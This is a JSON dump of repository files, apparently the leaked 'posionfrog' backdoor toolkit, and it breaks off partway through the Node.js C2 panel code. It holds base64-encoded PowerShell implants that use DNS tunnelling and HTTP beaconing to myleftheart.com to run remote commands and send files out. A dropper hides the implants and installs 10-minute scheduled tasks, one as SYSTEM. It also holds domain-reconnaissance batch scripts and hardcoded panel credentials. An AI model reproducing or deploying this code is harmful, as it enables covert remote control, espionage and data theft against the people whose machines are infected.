JCgkT09BKSI7IH0NCgkJZWxzZWlmICgkT09BIC1sdCAxMDApIHsgJFNTQSA9ICIwJCgkT09BKSI7IH0NCgkJZWxzZSB7ICRTU0EgPSAiJCgkT09BKSI7IH0NCgkJJFZWQSA9IEVFQSAkU1NBICRUVEEgIiIgIiIgInIiDQoJCXRyeQ0KCQl7DQoJCQlXcml0ZS1Ib3N0ICRWVkE7DQoJCQkkV1dBID0gW1N5c3RlbS5OZXQuRG5zXTo6R2V0SG9zdEFkZHJlc3NlcygkVlZBKTsNCgkJCVdyaXRlLUhvc3QgJFdXQTsNCgkJfQ0KCQljYXRjaCBbRXhjZXB0aW9uXQ0KCQl7DQoJCQllY2hvICRfLkV4Y2VwdGlvbi5HZXRUeXBlKCkuRnVsbE5hbWUsICRfLkV4Y2VwdGlvbi5NZXNzYWdlOyBXcml0ZS1Ib3N0ICJleGNlcHRvbiBvY2N1cmVkISI7ICR7Z2xvYmFsOiRleGNlcHRpb25fY291bnRlcnNzc30gPSAke2dsb2JhbDokZXhjZXB0aW9uX2NvdW50ZXJzc3N9ICsgMTsgY29udGludWU7DQoJCX0NCgkJDQoJCWlmICgkV1dBIC1lcSAkbnVsbCkNCgkJew0KCQkJJHtnbG9iYWw6JGV4Y2VwdGlvbl9jb3VudGVyc3NzfSA9ICR7Z2xvYmFsOiRleGNlcHRpb25fY291bnRlcnNzc30gKyAxOw0KCQkJY29udGludWU7DQoJCX0NCgkJJFhYQSA9ICRXV0FbMF0uSVBBZGRyZXNzVG9TdHJpbmcuU3BsaXQoJy4nKTsNCgkJV3JpdGUtSG9zdCAiJCgkT09BKTokKCRYWEFbM10pYHRzYXZlaW5nX21vZGU6ICQoJE5OQSlgdCAgICQoJFhYQVswXSkgJCgkWFhBWzFdKSAkKCRYWEFbMl0pIg0KCQkNCgkJaWYgKCgkWFhBWzBdIC1lcSAxKSAtYW5kICgkWFhBWzFdIC1lcSAyKSAtYW5kICgkWFhBWzJdIC1lcSAzKSkNCgkJew0KCQkJJE5OQSA9ICRmYWxzZTsNCgkJCSRUVEEgPSAiMCI7DQoJCQkkbGVuID0gJFJSQS5MZW5ndGgNCgkJCWlmICgkUlJBWyRsZW4tMV0gLWVxIDAgLWFuZCAkUlJBWyRsZW4tMl0gLWVxIDApDQoJCQl7DQoJCQkJJFlZQSA9ICRSUkFbMCAuLiAoJGxlbiAtIDMpXTsNCgkJCX0NCgkJCWVsc2VpZiAoJFJSQVskbGVuIC0gMV0gLWVxIDApDQoJCQl7DQoJCQkJJFlZQSA9ICRSUkFbMCAuLiAoJGxlbiAtIDIpXTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkWVlBID0gJFJSQTsNCgkJCX0NCgkJCVtTeXN0ZW0uSU8uRmlsZV06OldyaXRlQWxsQnl0ZXMoJFBQQSwgJFlZQSk7DQoJCQkkUlJBID0gQCgpOw0KCQkJJFlZQSA9IEAoKTsNCgkJCSRPT0EgPSAwOw0KCQkJJHtnbG9iYWw6JFVVQX0gPSAkZmFsc2U7DQoJCX0NCgkJDQoJCWlmICgkTk5BKQ0KCQl7DQoJCQlpZiAoJE9PQSAtZ3QgMjUwKSB7ICRPT0EgPSAwOyB9DQoJCQlpZiAoJE9PQSAtZXEgJFhYQVszXSkNCgkJCXsNCgkJCQkkUlJBICs9ICRYWEFbMF07DQoJCQkJJFJSQSArPSAkWFhBWzFdOw0KCQkJCSRSUkEgKz0gJFhYQVsyXTsNCgkJCQkkT09BID0gJE9PQSArIDM7DQoJCQl9DQoJCX0NCgkJDQoJCWlmICgoJFhYQVswXSAtZXEgMjQpIC1hbmQgKCRYWEFbMV0gLWVxIDEyNSkpDQoJCXsNCgkJCSRQUEEgKz0gJFhYQVsyXSArICIiICsgJFhYQVszXTsNCgkJCSROTkEgPSAkdHJ1ZTsNCgkJCSRUVEEgPSAiMSI7DQoJCQkkT09BID0gMDsNCgkJfQ0KCQkNCgkJaWYgKCgkWFhBWzBdIC1lcSAxMSkgLWFuZCAoJFhYQVsxXSAtZXEgMjQpIC1hbmQgKCRYWEFbMl0gLWVxIDIzNykgLWFuZCAoJFhYQVszXSAtZXEgMTEwKSkgIyBraWxsIHRoaXMgcHJvY2Vzcw0KCQl7DQoJCQkke2dsb2JhbDokVVVBfSA9ICRmYWxzZTsNCgkJCSR7Z2xvYmFsOiRleGNlcHRpb25fY291bnRlcnNzc30gPSAke2dsb2JhbDokZXhjZXB0aW9uX2NvdW50ZXJzc3N9ICsgMTsNCgkJfQ0KCX0NCglTdGFydC1TbGVlcCAtcyAxOw0KfQ0KDQoNCg0KDQpmdW5jdGlvbiBzZW5kDQp7DQoJJE9PQSA9IDA7DQoJJFpaQSA9IEAoR2V0LUNoaWxkSXRlbSAtUGF0aCAke2dsb2JhbDokQUFCfSB8IFdoZXJlLU9iamVjdCB7ICEkXy5QU0lzQ29udGFpbmVyIH0pOw0KCWlmICgkWlpBIC1uZSAkbnVsbCkNCgl7DQoJCSRCQkIgPSAke2dsb2JhbDokQUFCfSArICJcIiArICRaWkFbMF07DQoJCSRDQ0IgPSBzbGFiZXIgJEJCQjsNCgkJaWYgKFtpbnRdJENDQi5MZW5ndGggLWxlIDApDQoJCXsNCgkJCVJlbW92ZS1JdGVtIC1QYXRoICRCQkI7DQoJCQlyZXR1cm47DQoJCX0NCgkJJEREQiA9IDYwOw0KCQkkRUVCID0gIioiICogNTQ7DQoJCSRFRUIgPSBTcGxpdC1QYXRoICRCQkIgLUxlYWYgfCAlIHsgJEVFQi5JbnNlcnQoMCwgJF8pIH0gfCAlIHsgJF8uSW5zZXJ0KDYsICRDQ0IuTGVuZ3RoKSB9IHwgJXskX1swLi4yNl0gLWpvaW4gIiJ9Ow0KCQkkRUVCID0gLWpvaW4gKCRFRUIgfCAlIHsgcmVzb2x2ZXIgJF8gfSkNCgkJJEZGQiA9ICJiV1YwWVQiICsgJEVFQjsNCgkJJENDQiA9ICRGRkIgKyAkQ0NCOw0KCQkkR0dCID0gIjAwMCI7DQoJCSRUVEEgPSAiMiI7DQoJCSRISEIgPSAwOw0KCQkke2dsb2JhbDokVVVBfSA9ICR0cnVlOw0KCQkNCgkJJHtnbG9iYWw6JGV4Y2VwdGlvbl9jb3VudGVyc3NzfSA9IDA7DQoJCSR7Z2xvYmFsOiRleGNlcHRpb25fY291bnRfbGltaXRzc3N9ID0gMjsNCgkJDQoJCVdoaWxlICgke2dsb2JhbDokVVVBfSkNCgkJew0KCQkJaWYgKCR7Z2xvYmFsOiRleGNlcHRpb25fY291bnRlcnNzc30gLWd0ICR7Z2xvYmFsOiRleGNlcHRpb25fY291bnRfbGltaXRzc3N9KSB7IGJyZWFrOyB9DQoJCQlTdGFydC1TbGVlcCAtbSAxMDA7DQoJCQlpZiAoJE9PQSAtZXEgMjUwKSB7ICRPT0EgPSAwOyAkSEhCICs9IDI1MDsgfQ0KCQkJaWYgKCRPT0EgLWx0IDEwKSB7ICRHR0IgPSAiMDAkKCRPT0EpIjsgfQ0KCQkJZWxzZWlmICgkT09BIC1sdCAxMDApIHsgJEdHQiA9ICIwJCgkT09BKSI7IH0NCgkJCWVsc2UgeyAkR0dCID0gIiQoJE9PQSkiOyB9DQoJCQkNCgkJCWlmICgkQ0NCLkxlbmd0aCAtZ3QgJEREQikNCgkJCXsNCgkJCQlpZiAoKCRDQ0IuTGVuZ3RoIC0gJEREQiAqICgkT09BICsgJEhIQikpIC1nZSAkRERCKQ0KCQkJCXsNCgkJCQkJJElJQiA9ICRDQ0IuU3Vic3RyaW5nKCREREIgKiAoJE9PQSArICRISEIpLCAkRERCKTsNCgkJCQl9DQoJCQkJZWxzZWlmICgoJENDQi5MZW5ndGggLSAkRERCICogKCRPT0EgKyAkSEhCKSkgLWd0IDApDQoJCQkJew0KCQkJCQkkSUlCID0gJENDQi5TdWJzdHJpbmcoJEREQiAqICgkT09BICsgJEhIQiksICgkQ0NCLkxlbmd0aCAtICREREIgKiAoJE9PQSArICRISEIpKSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSRJSUIgPSAiYldWMFlUWlc1ayI7DQoJCQkJCSR7Z2xvYmFsOiRVVUF9ID0gJGZhbHNlOw0KCQkJCQlSZW1vdmUtSXRlbSAtcGF0aCAkQkJCIC1Gb3JjZTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJElJQiA9ICRDQ0I7DQoJCQl9DQoJCQkkSkpCID0gKFNwbGl0LVBhdGggJEJCQiAtTGVhZikgKyAiKiIgfCAlIHsgcmVzb2x2ZXIgJF8gfTsNCgkJCSRWVkEgPSBFRUEgJEdHQiAkVFRBICRJSUIgJEpKQiAicyINCgkJCVdyaXRlLUhvc3QgIiQoJElJQilgdCQoJFZWQSkiDQoJCQl0cnkNCgkJCXsNCgkJCQkkV1dBID0gW1N5c3RlbS5OZXQuRG5zXTo6R2V0SG9zdEFkZHJlc3NlcygkVlZBKTsNCgkJCX0NCgkJCWNhdGNoIHsgV3JpdGUtSG9zdCAiZXhjZXB0b24gb2NjdXJlZCEiOyAke2dsb2JhbDokZXhjZXB0aW9uX2NvdW50ZXJzc3N9ID0gJHtnbG9iYWw6JGV4Y2VwdGlvbl9jb3VudGVyc3NzfSArIDE7IGNvbnRpbnVlOyB9DQoJCQkNCgkJCWlmICgkV1dBIC1lcSAkbnVsbCkgeyAke2dsb2JhbDokZXhjZXB0aW9uX2NvdW50ZXJzc3N9ID0gJHtnbG9iYWw6JGV4Y2VwdGlvbl9jb3VudGVyc3NzfSArIDE7Y29udGludWUgfQ0KCQkJJFhYQSA9ICRXV0FbMF0uSVBBZGRyZXNzVG9TdHJpbmcuU3BsaXQoJy4nKTsNCgkJCVdyaXRlLUhvc3QgIiQoJE9PQSk6JCgkWFhBWzNdKWB0c2F2ZWluZ19tb2RlOiAkKCROTkEpYHQgICAkKCRYWEFbMF0pICQoJFhYQVsxXSkgJCgkWFhBWzJdKSINCgkJCQ0KCQkJaWYgKCgkWFhBWzBdIC1lcSAxKSAtYW5kICgkWFhBWzFdIC1lcSAyKSAtYW5kICgkWFhBWzJdIC1lcSAzKSkNCgkJCXsNCgkJCQkkT09BID0gW2ludF0kWFhBWzNdOw0KCQkJfQ0KCQkJDQoJCQlpZiAoKCRYWEFbMF0gLWVxIDExKSAtYW5kICgkWFhBWzFdIC1lcSAyNCkgLWFuZCAoJFhYQVsyXSAtZXEgMjM3KSAtYW5kICgkWFhBWzNdIC1lcSAxMTApKSAjIGtpbGwgdGhpcyBwcm9jZXNzDQoJCQl7DQoJCQkJJEhIQiA9IDANCgkJCQkke2dsb2JhbDokVVVBfSA9ICRmYWxzZTsNCgkJCQkke2dsb2JhbDokZXhjZXB0aW9uX2NvdW50ZXJzc3N9ID0gJHtnbG9iYWw6JGV4Y2VwdGlvbl9jb3VudGVyc3NzfSArIDM7DQoJCQkJZGVsICRCQkI7DQoJCQl9DQoJCX0NCgl9DQp9DQpmdW5jdGlvbiBzbGFiZXIgKCRLS0IpIHsNCglpZiAoKEdldC1JdGVtICRLS0IpLmxlbmd0aCAtZ3QgNjAwa2IpDQoJew0KCQkicmVzdWx0IHNpemUgZXhjZWVkZWQgdGhlIG1heGltdW0gc2l6ZSBhbmQgaXQgZGVsZXRlZCIgfCBTZXQtQ29udGVudCAkS0tCOw0KCX0NCgkkZiA9IEdldC1Db250ZW50ICRLS0IgLUVuY29kaW5nIEJ5dGU7DQoJJGUgPSByZXNvbHZlcigkZik7DQoJcmV0dXJuICRlOw0KfQ0KZnVuY3Rpb24gcmVzb2x2ZXIgKCRMTEIpIHsNCgkkY250ID0gMDsNCgkkcDEgPSAiIjsNCgkkcDIgPSAiIjsNCglmb3IgKCRpID0gMDsgJGkgLWx0ICRMTEIuTGVuZ3RoOyAkaSsrKQ0KCXsNCgkJaWYgKCRjbnQgLWVxIDMwKQ0KCQl7DQoJCQkkY250ID0gMDsNCgkJCSRyZXMgKz0gKCRwMSArICRwMik7DQoJCQkkcDEgPSAiIjsgJHAyID0gIiI7DQoJCX0NCgkJJHRtcCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJExMQlskaV0pLlJlcGxhY2UoIi0iLCAiIik7DQoJCSRwMSArPSAkdG1wWzBdOw0KCQkkcDIgKz0gJHRtcFsxXTsNCgkJJGNudCsrOw0KCX0NCgkkcmVzICs9ICgkcDEgKyAkcDIpOw0KCXJldHVybiAkcmVzOw0KfQ0KZnVuY3Rpb24gcHJvY2Vzc29yDQp7DQoJJFpaQSA9IEAoR2V0LUNoaWxkSXRlbSAtUGF0aCAke2dsb2JhbDokUVFBfSB8IFdoZXJlLU9iamVjdCB7ICEkXy5QU0lzQ29udGFpbmVyIH0pOw0KCWlmICgkWlpBIC1uZSAkbnVsbCkNCgl7DQoJCSRCQkIgPSAke2dsb2JhbDokUVFBfSArICJcIiArICRaWkFbMF07DQoJCSRNTUIgPSAkQkJCIC1yZXBsYWNlICJyZWNlaXZlYm94IiwgInNlbmRib3giOw0KCQkNCgkJaWYgKCRCQkIuRW5kc1dpdGgoIjAiKSkNCgkJew0KCQkJJE5OQiA9IEdldC1Db250ZW50ICRCQkIgfCA/IHsgJF8udHJpbSgpIC1uZSAiIiB9Ow0KCQkJJE9PQiA9ICR7Z2xvYmFsOiRBQUJ9ICsgIlwiICsgJFpaQVswXTsNCgkJCSROTkIgPSAkTk5CIHwgPyB7ICRfLnRyaW0oKSAtbmUgIiIgfQ0KCQkJJFBQQiArPSAkTk5CKyJcbiI7DQoJCQkkUFBCICs9ICROTkIuU3BsaXQoIiYiKSB8IGZvcmVhY2gtb2JqZWN0IHsgVHJ5IHsgJF8gfCBpZXggfCBPdXQtU3RyaW5nIH0gQ2F0Y2ggeyAkXyB8IE91dC1TdHJpbmd9IH0NCgkJCSRQUEIgKyI8PiIgfCBTZXQtQ29udGVudCAkT09CIC1FbmNvZGluZyBVVEY4DQoJCQlpZiAoVGVzdC1QYXRoIC1QYXRoICRCQkIpDQoJCQl7DQoJCQkJUmVtb3ZlLUl0ZW0gLXBhdGggJEJCQjsNCgkJCX0NCgkJfQ0KCQllbHNlaWYgKCRCQkIuRW5kc1dpdGgoIjEiKSkNCgkJew0KCQkJJFFRQiA9IEdldC1Db250ZW50ICRCQkIgfCA/IHsgJF8udHJpbSgpIC1uZSAiIiB9IHwgJXsgJF8uUmVwbGFjZSgiYDAiLCAiIikuVHJpbSgpIH0NCgkJCWlmIChUZXN0LVBhdGggLVBhdGggJFFRQikNCgkJCXsNCgkJCQkkT09CID0gJHtnbG9iYWw6JEFBQn0gKyAiXCIgKyAkWlpBWzBdOw0KCQkJCUNvcHktSXRlbSAtcGF0aCAkUVFCIC1kZXN0aW5hdGlvbiAkT09CIC1Gb3JjZTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkiRmlsZSBub3QgZXhpc3QiIHwgU2V0LUNvbnRlbnQgJE1NQjsNCgkJCX0NCgkJCWlmIChUZXN0LVBhdGggLVBhdGggJEJCQikNCgkJCXsNCgkJCQlSZW1vdmUtSXRlbSAtcGF0aCAkQkJCOw0KCQkJfQ0KCQl9DQoJCWVsc2VpZiAoJEJCQi5FbmRzV2l0aCgiMiIpKQ0KCQl7DQoJCQkkUlJCID0gJEJCQiAtcmVwbGFjZSAicmVjZWl2ZWJveCIsICJkb25lIjsNCgkJCU1vdmUtSXRlbSAtcGF0aCAkQkJCIC1kZXN0aW5hdGlvbiAkUlJCIC1Gb3JjZTsNCgkJCWlmIChUZXN0LVBhdGggLVBhdGggJFJSQikNCgkJCXsNCgkJCQkoIjIwMDw+IiArICRSUkIpIHwgU2V0LUNvbnRlbnQgJE1NQjsNCgkJCQlSZW1vdmUtSXRlbSAtcGF0aCAkQkJCOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQoke2dsb2JhbDokU1NCfSA9ICRlbnY6UFVCTElDICsgIlxQdWJsaWNcIisgJEREQTsNCiR7Z2xvYmFsOiRRUUF9ID0gJHtnbG9iYWw6JFNTQn0gKyAiXHJlY2VpdmVib3giOw0KJHtnbG9iYWw6JEFBQn0gPSAke2dsb2JhbDokU1NCfSArICJcc2VuZGJveCI7DQoke2dsb2JhbDokVFRCfSA9ICR7Z2xvYmFsOiRTU0J9ICsgIlxkb25lIjsNCmlmICgtbm90IChUZXN0LVBhdGggLVBhdGggJHtnbG9iYWw6JFNTQn0pIC1vciAtbm90IChUZXN0LVBhdGggLVBhdGggJHtnbG9iYWw6JEFBQn0pKQ0Kew0KCW1kICR7Z2xvYmFsOiRTU0J9Ow0KCW1kICR7Z2xvYmFsOiRBQUJ9Ow0KCW1kICR7Z2xvYmFsOiRRUUF9Ow0KCW1kICR7Z2xvYmFsOiRUVEJ9Ow0KfQ0KcmVjZWl2ZTsNCnByb2Nlc3NvcjsNCnNlbmQ7\";\r\n${global:$http_ag} = \"JEJCQSA9ICJodHRwOi8vIiArIFtTeXN0ZW0uTmV0LkRuc106OkdldEhvc3RBZGRyZXNzZXMoIm15bGVmdGhlYXJ0LmNvbSIpDQoke2dsb2JhbDokQ0NBfSA9IG5ldy1vYmplY3Qgc3lzdGVtLm5ldC5XZWJDbGllbnQNCiR0ID0gZ2V0LXdtaW9iamVjdCBXaW4zMl9Db21wdXRlclN5c3RlbVByb2R1Y3QgIHwgU2VsZWN0LU9iamVjdCAtRXhwYW5kUHJvcGVydHkgVVVJRA0KJEREQSA9ICR0IHwgJXsiYXRhZzEyIiArICRfLlJlcGxhY2UoJy0nLCAnJykgKyAiMTIzNDU2Nzg5MCJ9IHwgJXskXy5zdWJzdHJpbmcoMCwxMCl9DQokRUVBID0gJGVudjpQVUJMSUMrIlxQdWJsaWNcZmlsZXNcIjsNCmlmKC1ub3QoVGVzdC1QYXRoICRFRUEpKSB7bWQgJEVFQX0NCiRGRkEgPSAkRUVBKyJjZmcuaW5pIjsNCmlmKFRlc3QtUGF0aCAkRkZBKSB7DQoJJGxzID0gR2V0LUNvbnRlbnQgICRGRkEgfCBXaGVyZSB7ICRfIC1ub3RtYXRjaCAnXlxzKyQnIH0NCglmb3JlYWNoICgkbCBpbiAkbHMpDQoJew0KCQkkR0dBID0gJGwgLXNwbGl0ICcsJw0KCQlpZigkR0dBWzBdIC1lcSAic3J2Iil7JEhIQSA9ICRHR0FbMV0gKyAiIjt9DQoJCWlmKCRHR0FbMF0gLWVxICJ1c3IiKXskSUlBID0gJEdHQVsxXSArICIiO30NCgkJaWYoJEdHQVswXSAtZXEgInBhcyIpeyRKSkEgPSAkR0dBWzFdICsgIiI7fQ0KCQlpZigkR0dBWzBdIC1lcSAicHJ0Iil7JEtLQSA9ICRHR0FbMV0gKyAiIjt9DQoJCWlmKCRHR0FbMF0gLWVxICJkb20iKXskTExBID0gJEdHQVsxXSArICIiO30NCgl9DQoJJHUgPSAiaHR0cDovLyIgKyAkSEhBICsgIjoiICsgJEtLQTsNCgkkTU1BID0gbmV3LW9iamVjdCBTeXN0ZW0uTmV0LldlYlByb3h5KCR1LCAkdHJ1ZSk7DQoJJE5OQSA9IG5ldy1vYmplY3QgU3lzdGVtLk5ldC5OZXR3b3JrQ3JlZGVudGlhbCgkSUlBLCAkSkpBLCAkTExBKQ0KCSRNTUEuY3JlZGVudGlhbHMgPSAkTk5BDQoJJHtnbG9iYWw6JENDQX0ucHJveHkgPSAkTU1BOw0KfSBlbHNlIHske2dsb2JhbDokQ0NBfS5wcm94eSA9IFtTeXN0ZW0uTmV0LldlYlByb3h5XTo6R2V0RGVmYXVsdFByb3h5KCl9DQokciA9ICR0cnVlOw0Kd2hpbGUoJHIpIHsNCgkkciA9ICRmYWxzZTsNCgkkT09BID0gLWpvaW4gKEdldC1SYW5kb20gLUlucHV0T2JqZWN0ICgwIC4uIDkpIC1Db3VudCAoJXtHZXQtUmFuZG9tIC1JbnB1dE9iamVjdCAoMS4uOSl9KSkNCgkkUFBBID0gJEREQS5JbnNlcnQoNSwgJE9PQSkNCgkkUVFBID0gJHtnbG9iYWw6JENDQX0uRG93bmxvYWRTdHJpbmcoIiQoJEJCQSkvY28vJCgkUFBBKSIpDQoJd3JpdGUtaG9zdCAkUVFBDQoJJFJSQSA9ICIiDQoJaWYgKCRRUUEpIHsNCgkJJFNTQSA9ICRRUUEuc3BsaXQoIjw+IikgfCB3aGVyZSB7JF99DQoJCSRUVEEgPSAkU1NBWzBdOw0KCQkkcCA9ICRFRUErIiRUVEEiDQoJCWlmKCRTU0EubGVuZ3RoIC1ndCA0KSB7DQoJCQl3cml0ZS1ob3N0ICRTU0FbMV0NCgkJCWlmICgkU1NBWzJdIC1uZSAibm90IiAtYW5kICRTU0FbMl0pew0KCQkJCXdyaXRlLWhvc3QgJFNTQVsyXTsNCgkJCQkke2dsb2JhbDokQ0NBfS5Eb3dubG9hZEZpbGUoIiRCQkEvZmlsLyIrJFNTQVszXSwgJEVFQSskU1NBWzJdKTsNCgkJCQkiRmlsZSBzYXZlZCBpbiAiKyRFRUErJFNTQVsyXSB8IEFkZC1Db250ZW50ICRwDQoJCQl9DQoJCQlpZiAoJFNTQVsxXSAtbmUgIm5vdCIgLWFuZCAkU1NBWzFdKXsNCgkJCQkkUlJBICs9ICRTU0FbMV0rIjxici8+Ig0KCQkJCSRyY250ID0gJFNTQVsxXSB8ID8geyAkXy50cmltKCkgLW5lICIiIH0NCgkJCQkkUlJBICs9ICRyY250LlNwbGl0KCImIikgfCBmb3JlYWNoLW9iamVjdCB7IFRyeSB7ICRfIHwgaWV4IHwgT3V0LVN0cmluZyB9IENhdGNoIHsgJF8gfCBPdXQtU3RyaW5nfSB9DQoJCQkJJFJSQSsiPD4iIHwgU2V0LUNvbnRlbnQgJHANCgkJCQkjJHtnbG9iYWw6JENDQX0uVXBsb2FkU3RyaW5nKCIkQkJBL3Jlcy8kUFBBJFRUQSIsICRSUkEpOw0KCQkJfQ0KCQkJaWYgKCRTU0FbNF0gLW5lICJub3QiIC1hbmQgJFNTQVs0XSl7DQoJCQkJd3JpdGUtaG9zdCAkU1NBWzRdDQoJCQkJaWYoVGVzdC1QYXRoICRTU0FbNF0pIHsNCgkJCQkJJHtnbG9iYWw6JENDQX0uVXBsb2FkRmlsZSgiJEJCQS9maWwvJFBQQSRUVEEiLCAkU1NBWzRdKTsNCgkJCQkJInVwbDw+IiskU1NBWzRdIHwgQWRkLUNvbnRlbnQgJHANCgkJCQl9DQoJCQl9DQoJCQlpZigkU1NBWyRTU0EubGVuZ3RoIC0xXSAtZXEgIjEiKSB7DQoJCQkJJHIgPSAkdHJ1ZTsNCgkJCX0NCgkJCWlmKCRUVEEgLW5lICJub3QiIC1hbmQgJFRUQSkgew0KCQkJCSR7Z2xvYmFsOiRDQ0F9LlVwbG9hZEZpbGUoIiRCQkEvcmVzLyRQUEEkVFRBIiwgJHApOw0KCQkJCVJlbW92ZS1JdGVtICRwIC1Gb3JjZQ0KCQkJfQ0KCQl9DQoJfQ0KfQ==\";\r\n\r\nif (-not (Test-Path -Path ${global:$address1}))\r\n{md ${global:$address1}; Get-Item ${global:$address1} -Force | %{$_.attributes = \"Hidden\"}}\r\nif (Test-Path -Path ${global:$address1})\r\n{\r\n\t[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([string]${global:$http_ag})) | Set-Content \"${global:$address1}\\hUpdater.ps1\";\r\n\t[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([string]${global:$dns_ag})) | Set-Content \"${global:$address1}\\dUpdater.ps1\";\r\n\t\"command0 = `\"Powershell.exe -exec bypass -file ${global:$address1}\\hUpdater.ps1`\"`nset Shell0 = CreateObject(`\"wscript.shell`\")`nshell0.run command0, 0, false`ncommand1 = `\"Powershell.exe -exec bypass -file ${global:$address1}\\dUpdater.ps1`\"`nset Shell1 = CreateObject(`\"wscript.shell`\")`nshell1.run command1, 0, false\" | Out-File \"${global:$address1}\\UpdateTask.vbs\"\r\n\tschtasks /create /F /sc minute /mo 10 /tn \"\\UpdateTasks\\UpdateTask\" /tr \"wscript /b \\`\"${global:$address1}\\UpdateTask.vbs\\`\"\";\r\n\tschtasks /create /F /ru SYSTEM /sc minute /mo 10 /tn \"\\UpdateTasks\\UpdateTaskHosts\" /tr \"wscript /b \\`\"${global:$address1}\\UpdateTask.vbs\\`\"\";\r\n}\r\n"
  },
  {
    "path": "posionfrog/serverside/0000000000.bat",
    "content": "@echo off&echo ________________________________Whoami______________________________ &  whoami &echo ________________________________HostName______________________________  & hostname  & echo ________________________________IpConfig______________________________ & ipconfig /all  & echo ____________________________AllLocalUsers___________________________ & net user /domain  & echo _________________________AllUserInDomain___________________________ & net group /domain  & echo __________________________DomianAdmins_______________________________ & net group \"domain admins\" /domain  & echo _______________________ExchangetrustedMembers_______________________ & net group \"Exchange Trusted Subsystem\" /domain  & echo ________________________NetAccountDomain____________________________ & net accounts /domain  & echo ______________________________NetUser________________________________ & net user  & echo _______________________NetLocalGroupMembers________________________ & net localgroup administrators  & echo ________________________________netstat_______________________________ & netstat -an  & echo ______________________________tasklist________________________________ & tasklist  & echo _____________________________systeminfo_______________________________ & systeminfo  & echo ________________________________RDP___________________________________ & reg query \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\"  & echo ________________________________Task__________________________________ & schtasks /query /FO List /TN \"GoogleUpdatesTaskMachineUI\" /V | findstr /b /n /c:\"Repeat: Every:\"  & echo ________________________________________AntiVirus______________________________ &WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List"
  },
  {
    "path": "posionfrog/serverside/9999999999.bat",
    "content": "@echo off&echo ________________________________Whoami______________________________ &  whoami &echo ________________________________HostName______________________________  & hostname  & echo ________________________________IpConfig______________________________ & ipconfig /all  & echo ____________________________AllLocalUsers___________________________ & net user /domain  & echo _________________________AllUserInDomain___________________________ & net group /domain  & echo __________________________DomianAdmins_______________________________ & net group \"domain admins\" /domain  & echo _______________________ExchangetrustedMembers_______________________ & net group \"Exchange Trusted Subsystem\" /domain  & echo ________________________NetAccountDomain____________________________ & net accounts /domain  & echo ______________________________NetUser________________________________ & net user  & echo _______________________NetLocalGroupMembers________________________ & net localgroup administrators  & echo ________________________________netstat_______________________________ & netstat -an  & echo ______________________________tasklist________________________________ & tasklist  & echo _____________________________systeminfo_______________________________ & systeminfo  & echo ________________________________RDP___________________________________ & reg query \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\"  & echo ________________________________Task__________________________________ & schtasks /query /FO List /TN \"GoogleUpdatesTaskMachineUI\" /V | findstr /b /n /c:\"Repeat: Every:\"  & echo ________________________________________AntiVirus______________________________ &WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List"
  },
  {
    "path": "posionfrog/serverside/config.json",
    "content": "{\n    \"guid\" : \"/7345SDFHSALKJDFHNASLFSDA3423423SAD22\",\n\t\"user\" : \"blacktusk\",\n\t\"password\" : \"fireinthehole\"\n}"
  },
  {
    "path": "posionfrog/serverside/installing/filesList",
    "content": "file should be saved in project\nsrvr.js\nfiles in views folder\n\n"
  },
  {
    "path": "posionfrog/serverside/installing/install_pachages.bat",
    "content": "npm install express --save\r\nnpm install ejs --save\r\nnpm install express-fileupload --save\r\nnpm install dateformat --save\r\nnpm install body-parser --save\r\nnpm install multer --save\r\nnpm install file-base64 --save\r\nnpm install dnsd --save\r\nnpm install ip --save\r\nnpm install cookies --save\r\nnpm install --save moment\r\n\r\nnpm install --save express ejs express-fileupload dateformat body-parser multer file-base64 dnsd\r\n\r\nnpm install --save forever -g"
  },
  {
    "path": "posionfrog/serverside/installing/installing mongo_nodejs",
    "content": "#ubuntu 16.04\n\napt-get update\napt-get upgrade\n\n# installing nodejs\n\nsudo apt-get install nodejs\nsudo apt-get install nodejs-legacy\n\n#installing mongodb\n\nsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv EA312927\necho \"deb http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.2 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.2.list\nsudo apt-get install -y mongodb-org\n\n\n\necho \"deb http://repo.mongodb.org/apt/ubuntu precise/mongodb-org/3.0 multiverse\" | tee /etc/apt/sources.list.d/mongodb-org-3.0.list\n\n\n"
  },
  {
    "path": "posionfrog/serverside/installing/stop dnsmasq",
    "content": "sudo sed -i 's/^dns=dnsmasq/#&/' /etc/NetworkManager/NetworkManager.conf\nsudo service network-manager restart\nsudo service networking restart\nsudo killall dnsmasq"
  },
  {
    "path": "posionfrog/serverside/routes/index.js",
    "content": "var commonDir = \"./agents/\";\r\nvar config = require('./../config.json');\r\nvar createIdPool = function (idPoolAddress) {\r\n\tvar idz = [];\r\n\tfor (var i = 1; i < 10; i++) {\r\n\t\tfor (var j = 0; j < 10; j++) {\r\n\t\t\tfor (var k = 1; k < 3; k++) {\r\n\t\t\t\tfor (var l = 0; l < 5; l++) {\r\n\t\t\t\t\tidz.push(i + \"\" + j + \"\" + k + \"\" + l);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t//console.log(\"in create id pool function \\n\");\r\n\tvar fs = require('fs');\r\n\tvar file = fs.createWriteStream(idPoolAddress);\r\n\tfile.on('error', function (err) { console.log(err); });\r\n\tidz.forEach(function (v) { file.write(v + '\\n'); });\r\n\tfile.end();\r\n}\r\n\r\nexports.panel = function (req, res) {\r\n\tvar fs = require('fs');\r\n\r\n\tif (req.params.input == null) {\r\n\t\t//res.redirect(\"/login\");\r\n\t\treturn;\r\n\t}\r\n\tif (req.params.input == \"favicon.ico\") 